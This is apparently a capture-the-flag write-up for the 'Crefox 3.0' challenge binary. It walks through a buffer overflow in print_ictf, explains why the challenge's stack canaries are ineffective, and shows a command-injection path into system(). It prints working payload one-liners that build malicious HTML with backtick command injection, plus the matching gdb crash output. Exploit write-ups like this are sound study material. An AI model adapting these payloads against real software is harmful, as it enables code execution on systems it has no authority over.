Crefox 3-0¶
This is a complicated creature. A few vulnerabilities come into play here.
The first is the system backdoor
void
do_query_cmd(char *cmd, char *buf, char *data)
{
#define QUERY_DATA_SIZE 512
strncat(strcat(strcpy(buf, cmd), " "), data, QUERY_DATA_SIZE);
// debug("query cmd: %s\n", buf);
system(buf);
return;
}
It is reached through a series of callbacks
but at first looks impossible to reach:
char pad[2048];
memset(pad, 0, sizeof(pad));
f(arg);
if (*(int *)pad == -1) {
But, one of the other functions has a speciallycrafted buffer overflow.
(void)extract_tags(page.memory, (char *)"iCTF", (char *)"code", print_ictf);
print_ictf...
char buf[1024];
memcpy(buf, globals.s, 1124);
debug("ictf tag, code attr: %s\n", buf);
Triggering the vulnerabilities
UPDATE
There are two ways to win this one. It seems the canary code implementation is br0ken.
Check this out:
The payloadpython -c 'print "<html><ictf code=\""+ "\xef\xbe\xad\xde"*280+"`id`\"></ictf></html>"' > index.htmlThe result
Starting program: /home/adc/ctf/b/browsers/crefox/3.0/crefox [Thread debugging using libthread_db enabled] ERROR:crefox:(non fatal):plugins not successfully loaded COMMAND>p http://localhost/cr3.0/ adsf DEBUG:crefox:args[0]: p DEBUG:crefox:args[1]: http://localhost/cr3.0/ DEBUG:crefox:args[2]: adsf DEBUG:crefox:Posting to URL: http://localhost/cr3.0/ with data: adsf DEBUG:crefox:HTTP status: 200 <html><ictf code="????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????`id`"></ictf></html> DEBUG:crefox:ictf tag, code attr: ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????`id` Program received signal SIGSEGV, Segmentation fault. 0x0804b5e7 in print_ictf(void*) () (gdb) x/i $pc 0x804b5e7 <_Z10print_ictfPv+447>: ret (gdb) x/wx $esp 0xbfffcc1c: 0xdeadbeef
Why doesn't the canary work you ask?
struct __globals {
struct timeval tm;
int *canary;
int *scanary;
char *s;
char *buf, *ptr;
long ebploc, ret, ebp;
} globals;
...
globals.ptr = buf;
globals.scanary = (int *)globals.ptr, globals.ptr += 4;
globals.buf = globals.ptr, globals.ptr += 768;
globals.canary = (int *)globals.ptr, globals.ptr += 4;
globals.s = (char *)(*(std::string *)value).c_str();
(void)gettimeofday(&globals.tm, NULL);
srand(globals.tm.tv_sec ^ globals.tm.tv_usec);
*(globals.canary) = *(globals.scanary) = rand();
memcpy(buf, globals.s, 1124);
debug("ictf tag, code attr: %s\n", buf);
if (*(int *)globals.canary != *(int *)globals.scanary) {
From the above code you can see that the canaries are both...on the stack.
Did some toilet paper company design this or something? :-) Let us look
closer.
[padding] [ 1024 bytes for buf][saved registers][ saved frame pointer ] [saved return address]
0x0804b428 <_Z10print_ictfPv+0>: push %ebp
0x0804b429 <_Z10print_ictfPv+1>: mov %esp,%ebp
0x0804b42b <_Z10print_ictfPv+3>: push %esi
0x0804b42c <_Z10print_ictfPv+4>: push %ebx
0x0804b42d <_Z10print_ictfPv+5>: sub $0x410,%esp
....
0x0804b5de <_Z10print_ictfPv+438>: add $0x410,%esp
0x0804b5e4 <_Z10print_ictfPv+444>: pop %ebx
0x0804b5e5 <_Z10print_ictfPv+445>: pop %esi
0x0804b5e6 <_Z10print_ictfPv+446>: pop %ebp
0x0804b5e7 <_Z10print_ictfPv+447>: ret
//The first canary is going to point to the start of buf
globals.ptr = buf;
globals.scanary = (int *)globals.ptr, globals.ptr += 4;
//The second canary points to somewhere in the middle (768+4=772)
globals.buf = globals.ptr, globals.ptr += 768;
globals.canary = (int *)globals.ptr, globals.ptr += 4;
Canary diagram:
[padding] [ 1024 bytes for buf..............][saved registers][ saved frame pointer ] [saved return address]
[canary 1] ...[canary 2]..........]....
^input start
So, as you can see,
if (*(int *)globals.canary != *(int *)globals.scanary) {
Serves only one purpose -> to give you an easy way out if you've smashed the stack
Exploitation
You have two options. The first is to go for the system() call. The second is to
overflow stack metadata to hijack flow control. Both are easy.
For the system direction, make sure that the start of your buffer and your buffer+772
are not equal. For the other direction, make sure those two dwords are equal.
python -c 'print "<html><ictf code=\"lahf"+"\xff"*100 + "`touch pwned`"+"\xff"*1000 +"\"></ictf></html>"' > index.htmlComments from Lorenzo reproduced without permission
that's correct :-) Damn it, the regular stack smashing was not
wanted! There's a "typo":
memcpy(buf, globals.s, 1124);
should have been:
memcpy(globals.buf, globals.s, 1124);
That way only the non-control data overflow should have enabled you
to get into the "impossible path" to trigger the command injection.
Bummer :-\, my bad (damn typo ;-)).
***
If only Lorenzo knew about the typos we were making...